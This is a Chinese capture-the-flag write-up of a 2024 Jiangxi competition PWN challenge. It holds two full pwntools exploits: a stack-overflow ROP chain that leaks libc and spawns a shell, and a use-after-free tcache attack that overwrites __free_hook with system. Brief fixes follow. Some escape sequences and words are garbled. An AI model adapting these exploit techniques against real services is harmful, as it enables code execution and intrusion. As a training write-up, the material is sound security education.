break
第一个漏洞
首先进行代码审计,发现是一个菜单程序
第一个漏洞是在我们my_read的函数,我们进入会发现是一个栈溢出的漏洞
利用思路:
首先通过栈溢出,泄露libc的地址,然后再跳回,在写rop链
完整的exp
from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
libc = ELF('./libc.so.6')
url='192.168.80.134'
port=30400
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('xff')[-4:].ljust(4,'x00'))
uu64 = lambda : u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))
puts_got=elf.sym['puts']
puts_plt=0x0401144
pop_rdi=0x0000000000402af3 #: pop rdi ; ret
ret=0x000000000040101a #: ret
read=0x04023F7
pay='a'*0x20+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read)
sla('choice:',pay)
libc.address=uu64()-libc.sym['puts']
lg('libc.address')
pay='a'*0x20+p64(0)+p64(ret)+p64(pop_rdi)+p64(libc.search('/bin/shx00').next())+p64(libc.sym['system'])
sl(pay)
it()
第二个漏洞
这个漏洞是一个uaf漏洞
我们直接用tear bin poisoningche方法打既可以
完整的exp
from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
libc = ELF('./libc.so.6')
flag=1
url='192.168.80.134'
port=30373
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('xff')[-4:].ljust(4,'x00'))
uu64 = lambda : u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))
def cmd(cmd):
sla('hoice:',str(cmd))
def add(size):
cmd(1)
sla('Size:',str(size))
def show(idx):
cmd(2)
sla("index:",str(idx))
def edit(idx,msg):
cmd(3)
sla('index:',str(idx))
sa('Data: n',msg)
def free(idx):
cmd(4)
sla("index:", str(idx))
add(0x410)#0
add(0x78)#1
free(0)
show(0)
ru('Data:')
libc.address=uu64()-0x1ecbe0
lg('libc.address')
add(0x78)#2
add(0x78)#3
add(0x78)#4
free(2)
free(3)
edit(3,p64(libc.sym['__free_hook']))
add(0x78)#5
add(0x78)#6
edit(6,p64(libc.sym['system']))
edit(1,'/bin/shx00')
free(1)
sl('cat flag')
gdb.attach(p)
it()
fix
第一个
我们直接将读入的数改小
第二个
我们将uaf修复就可以
原文始发于微信公众号(Undefin3d安全团队):2024江西省赣育杯决赛---PWN
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论